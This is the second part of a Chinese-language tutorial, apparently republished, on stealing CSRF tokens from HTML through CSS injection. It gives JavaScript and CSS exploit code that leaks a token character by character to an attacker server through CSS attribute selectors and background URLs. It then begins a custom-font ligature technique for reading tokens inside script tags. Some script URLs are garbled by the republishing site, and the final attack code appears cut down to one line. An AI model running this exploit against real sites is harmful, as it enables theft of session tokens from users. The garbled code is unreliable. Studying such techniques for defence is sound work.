通过CSS注入窃取HTML中的数据( 二 )

  • 我们一直等到攻击者服务器的回调为我们设置含有token的cookie
  • 设置cookie后,我们将其设置为当前的已知令牌值,并返回到步骤1
  • 初步代码如下:
    <!doctype html><meta charset=utf-8><script src=https://www.isolves.com/it/aq/fwq/2019-12-19/"http://127.0.0.1:3000/cookie.js">
    然后我们需要补充上面的的一些功能函数
    首先我们清除cookie中的token值,可以直接使用JS-cookie 库中的Cookie对象 。
    https://github.com/js-cookie/js-cookie
    function clearTokenCookie() {Cookies.remove('token');}接下来,我们需要为 <iframe> 标签分配正确的URL:
    function createIframeWithCss() {iframe.src = https://www.isolves.com/it/aq/fwq/2019-12-19/'http://localhost:12345/?css=' + encodeURIComponent(generateCSS());}还要实现生成适当CSS的功能
    function generateCSS() {let css = '';for (let char of ALPHABET) {css += `input[value^="${extractedToken}${char}"] {background: url(http://127.0.0.1:3000/token/${extractedToken}${char})}`;}return css;}最后我们需要实现通过等待反向连接来设置cookie-token的功能.
    我们将使用JS中的 Promise 机制来构建异步函数,我们的代码每隔50毫秒检查一次cookie是否已设置,
    如果已设置,该函数将立即返回该值 。
    function getTokenFromCookie() {return new Promise(resolve => {const interval = setInterval(function() {const token = Cookies.get('token');if (token) {clearInterval(interval);resolve(token);}}, 50);});}最后,实现攻击的代码如下所示:
    <!doctype html><meta charset=utf-8><script src=https://www.isolves.com/it/aq/fwq/2019-12-19/"http://127.0.0.1:3000/cookie.js">
    将其保存在index.js同目录下,并且命名为index.html 。
    访问127.0.0.1:3000/index.html
    通过CSS注入窃取HTML中的数据

    文章插图
     

    通过CSS注入窃取HTML中的数据

    文章插图
     
    窃取<script>标签中的tokenCSS选择器只能帮助我们根据属性值的开头来标识元素,但是我们不能对标记本身中包含的文本执行相同的操作(CSS只是没有这种类型的选择器) 。
     
    那么我们如何在<script>标签内获取token?比如下面的代码中 。
    <script>var TOKEN = "06d36aed58d87fd8db3729ab84f1fe3d";</script>我们将使用连字和样式滚动条定义我们自己的字体来完成攻击 。
    什么是连字:http://www.mzh.ren/ligature-intro.html
    借助_fontforge等其他软件 ,我们可以创建自己的字体包括自己的连字 。
    _Fontforge是一个相当强大的字体创建工具 。
     
    我们将使用它将字体从SVG格式转换为WOFF 。
    #!/usr/bin/fontforgeOpen($1)Generate($1:r + ".woff")fontforge script.fontforge <plik>.svg
    让我们看看SVG中的字体定义如何 。
     
    下面是一个简单字体的示例,其中未为拉丁字母的所有小写字母分配任何图形符号,并且宽度均为0(属性:horiz-adv-x = “0” ),同时还定义了_securak_连字 ,它也是图形符号没有,但是为他设置了很大的宽度值 。
    <svg><defs><font id="hack" horiz-adv-x="0"><font-face font-family="hack" units-per-em="1000" /><missing-glyph /><glyph unicode="a" horiz-adv-x="0" d="M1 0z"/><glyph unicode="b" horiz-adv-x="0" d="M1 0z"/><glyph unicode="c" horiz-adv-x="0" d="M1 0z"/><glyph unicode="d" horiz-adv-x="0" d="M1 0z"/><glyph unicode="e" horiz-adv-x="0" d="M1 0z"/><glyph unicode="f" horiz-adv-x="0" d="M1 0z"/><glyph unicode="g" horiz-adv-x="0" d="M1 0z"/><glyph unicode="h" horiz-adv-x="0" d="M1 0z"/><glyph unicode="i" horiz-adv-x="0" d="M1 0z"/><glyph unicode="j" horiz-adv-x="0" d="M1 0z"/><glyph unicode="k" horiz-adv-x="0" d="M1 0z"/><glyph unicode="l" horiz-adv-x="0" d="M1 0z"/><glyph unicode="m" horiz-adv-x="0" d="M1 0z"/><glyph unicode="n" horiz-adv-x="0" d="M1 0z"/><glyph unicode="o" horiz-adv-x="0" d="M1 0z"/><glyph unicode="p" horiz-adv-x="0" d="M1 0z"/><glyph unicode="q" horiz-adv-x="0" d="M1 0z"/><glyph unicode="r" horiz-adv-x="0" d="M1 0z"/><glyph unicode="s" horiz-adv-x="0" d="M1 0z"/><glyph unicode="t" horiz-adv-x="0" d="M1 0z"/><glyph unicode="u" horiz-adv-x="0" d="M1 0z"/><glyph unicode="v" horiz-adv-x="0" d="M1 0z"/><glyph unicode="w" horiz-adv-x="0" d="M1 0z"/><glyph unicode="x" horiz-adv-x="0" d="M1 0z"/><glyph unicode="y" horiz-adv-x="0" d="M1 0z"/><glyph unicode="z" horiz-adv-x="0" d="M1 0z"/><glyph unicode="sekurak" horiz-adv-x="8000" d="M1 0z"/></font></defs></svg>


    推荐阅读